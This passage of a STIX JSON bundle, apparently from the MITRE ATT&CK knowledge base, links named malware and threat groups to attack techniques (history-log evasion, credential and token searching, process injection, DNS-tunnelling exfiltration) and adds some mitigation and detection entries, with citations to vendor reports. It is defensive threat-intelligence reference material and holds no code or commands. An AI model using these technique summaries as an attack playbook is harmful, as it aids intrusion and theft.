2017.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:20:25.071Z","description":"[Reaver](https://attack.mitre.org/software/S0172) encrypts some of its files with XOR.(Citation: Palo Alto Reaver Nov 2017)","relationship_type":"uses","source_ref":"malware--65341f30-bec6-4b1d-8abf-1a5620446c29","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--507d0a52-450a-4bb9-8667-e787f8c589f2","created":"2023-01-31T02:20:25.497Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-31T02:20:25.497Z","description":"[metaMain](https://attack.mitre.org/software/S1059) has reflectively loaded a DLL to read, decrypt, and load an orchestrator file.(Citation: SentinelLabs Metador Sept 2022)","relationship_type":"uses","source_ref":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","target_ref":"attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50860aec-3490-4783-8ffb-ad4217cf0d58","type":"relationship","created":"2021-10-15T20:31:12.328Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-10-15T20:31:12.328Z","description":"[SpicyOmelette](https://attack.mitre.org/software/S0646) has been distributed via emails containing a malicious link that appears to be a PDF document.(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--508879cf-53b7-4578-9a5f-9ed20dfb09ef","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dyre June 2015","description":"Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf"}],"modified":"2020-03-16T15:44:59.435Z","description":"[Dyre](https://attack.mitre.org/software/S0024) injects into other processes to load modules.(Citation: Symantec Dyre June 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--508a33ab-642f-42c6-866b-e113a8ed3f5b","created":"2024-09-23T17:37:29.237Z","revoked":false,"external_references":[{"source_name":"Sandfly BPFDoor 2022","description":"The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.","url":"https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T17:37:29.237Z","description":"[BPFDoor](https://attack.mitre.org/software/S1161) sets the `MYSQL_HISTFILE` and `HISTFILE` to `/dev/null` preventing the shell and MySQL from logging history in `/proc//environ`.(Citation: Sandfly BPFDoor 2022) ","relationship_type":"uses","source_ref":"malware--8d1f89fd-4dde-40ab-80e0-a7b80249162e","target_ref":"attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--508c012e-c578-472d-8225-51bc8c0dff87","created":"2023-12-18T19:50:23.615Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"},{"source_name":"SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022","description":"Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.","url":"https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-02T21:11:12.056Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has used open-source tools including customized versions of the Iox proxy tool, NPS tunneling tool, Meterpreter, and a keylogger that uploads data to Alibaba cloud storage.(Citation: Sygnia Emperor Dragonfly October 2022)(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--508cef53-f7ff-4e64-9ab3-dedefbba697b","created":"2024-03-29T17:43:41.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T18:36:18.759Z","description":"Application developers should consider limiting the requirements for custom or otherwise difficult to manage file/folder exclusions. Where possible, install applications to trusted system folder paths that are already protected by restricted file and directory permissions.","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--508dfa9b-e98a-4fb7-a34b-b74a3a7446d9","type":"relationship","created":"2020-03-14T22:24:22.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-14T22:24:22.085Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50900340-6edc-447c-aa1c-f73f5d72e4c6","type":"relationship","created":"2020-08-05T15:09:37.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intel 471 REvil March 2020","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."},{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2021-04-06T14:42:52.659Z","description":"[REvil](https://attack.mitre.org/software/S0496) has the capability to stop services and kill processes.(Citation: Intel 471 REvil March 2020)(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5093ddae-6bc9-401e-b35f-9f3139efafd0","created":"2022-09-27T16:17:07.415Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:17:07.415Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors collected clipboard data in plaintext.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--509555cb-1a35-4e09-bc6e-a2c9c521f827","type":"relationship","created":"2020-01-29T17:32:31.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-16T12:47:00.329Z","description":"Use multi-factor authentication for user and privileged accounts.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5096cf5d-aedb-49a5-baa7-4cc9538fa1cd","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2020-03-20T02:30:08.937Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can use cmd.exe to download and execute payloads and to execute commands on the system.(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--509a016a-6243-40b1-b1b5-74f6c79ce413","type":"relationship","created":"2021-02-09T14:35:39.779Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Bad Rabbit","url":"https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/","description":"M.Léveille, M-E.. (2017, October 24). Bad Rabbit: Not‑Petya is back with improved ransomware. Retrieved January 28, 2021."},{"source_name":"Secure List Bad Rabbit","url":"https://securelist.com/bad-rabbit-ransomware/82851/","description":"Mamedov, O. Sinitsyn, F. Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021."}],"modified":"2021-05-04T19:28:12.879Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) has masqueraded as a Flash Player installer through the executable file install_flash_player.exe.(Citation: ESET Bad Rabbit)(Citation: Secure List Bad Rabbit)","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--509a61b8-292e-4292-b4e8-c1c9901582ec","type":"relationship","created":"2020-11-13T20:44:05.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-12-09T19:12:41.072Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can determine the time on the victim machine via IPinfo.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--509a79e0-7ee3-4528-b11a-eefee861e384","type":"relationship","created":"2020-11-09T14:52:45.549Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-09T14:52:45.549Z","description":"[CSPY Downloader](https://attack.mitre.org/software/S0527) can use the schtasks utility to bypass UAC.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--509eddb7-b86f-4831-953f-15017b5d987e","type":"relationship","created":"2021-12-07T18:17:41.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-07T18:17:41.838Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has sent emails with malicious attachments to gain initial access.(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50a1a87a-31cf-4a98-96f6-276f35798185","type":"relationship","created":"2021-04-07T18:07:47.952Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-07T18:07:47.952Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has searched for SSH keys, Docker credentials, and Kubernetes service tokens.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50a57369-6d3e-44bf-814f-7c9242e56d75","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/","description":"Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.","source_name":"Überwachung APT28 Forfiles June 2015"}],"modified":"2019-09-09T17:44:36.171Z","description":"(Citation: Überwachung APT28 Forfiles June 2015)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"tool--90ec2b22-7061-4469-b539-0989ec4f96c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50b2e4e3-8740-463b-87fc-e96c4b62fbe5","type":"relationship","created":"2021-02-09T16:54:09.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}],"modified":"2021-02-09T16:54:09.252Z","description":"[Explosive](https://attack.mitre.org/software/S0569) can scan all .exe files located in the USB drive.(Citation: CheckPoint Volatile Cedar March 2015) ","relationship_type":"uses","source_ref":"malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50b44ee2-bef2-42a9-9bfc-2f5ce48748b7","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor executed commands and arguments that may use hidden windows to conceal malicious activity from the plain sight of users. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50b623c1-828f-4a2b-bb9e-38600b071563","type":"relationship","created":"2020-12-17T20:02:13.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"District Court of NY APT10 Indictment December 2018","url":"https://www.justice.gov/opa/page/file/1122671/download","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."}],"modified":"2020-12-28T15:35:41.915Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used dynamic DNS service providers to host malicious domains.(Citation: District Court of NY APT10 Indictment December 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--50b91e01-e769-4164-a01e-57951e2e8348","created":"2024-09-06T21:58:36.780Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T21:58:36.780Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used ProxyChains to tunnel protocols to internal networks.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50bd8457-3c13-483d-a647-cee4f554d490","type":"relationship","created":"2022-01-25T15:03:40.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"modified":"2022-01-25T15:03:40.014Z","description":"[CharmPower](https://attack.mitre.org/software/S0674) can retrieve C2 domain information from actor-controlled S3 buckets.(Citation: Check Point APT35 CharmPower January 2022)","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--50c1c2f4-be50-49dc-bac6-dce8e80436ae","created":"2023-09-27T20:45:57.150Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T20:45:57.150Z","description":"[NightClub](https://attack.mitre.org/software/S1090) can use a DNS tunneling plugin to exfiltrate data by adding it to the subdomain portion of a DNS request.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50cc59f8-6d62-4140-b5c6-40da528a5e13","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:28.397Z","description":"(Citation: Symantec Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--50cf1a8b-5ed4-4155-a09d-ed65cf9c4a08","created":"2021-04-12T17:51:33.407Z","x_mitre_version":"1.0","external_references":[{"source_name":"ESET Industroyer","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Industroyer](https://attack.mitre.org/software/S0604) can enumerate remote computers in the compromised network.(Citation: ESET Industroyer)","modified":"2022-06-30T20:16:53.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--50d9747b-7dee-4daf-8611-b4190ecd7e35","created":"2022-07-29T19:42:15.413Z","x_mitre_version":"0.1","external_references":[{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bazar](https://attack.mitre.org/software/S0534)'s loader can delete scheduled tasks created by a previous instance of the malware.(Citation: NCC Group Team9 June 2020)","modified":"2022-07-29T19:42:15.413Z","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--50dbe887-4d91-42d3-8e1b-34000ad5a1e7","type":"relationship","created":"2020-06-11T16:18:16.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.411Z","description":"[Avenger](https://attack.mitre.org/software/S0473) has the ability to identify installed anti-virus products on a compromised host.(Citation: Trend Micro Tick November 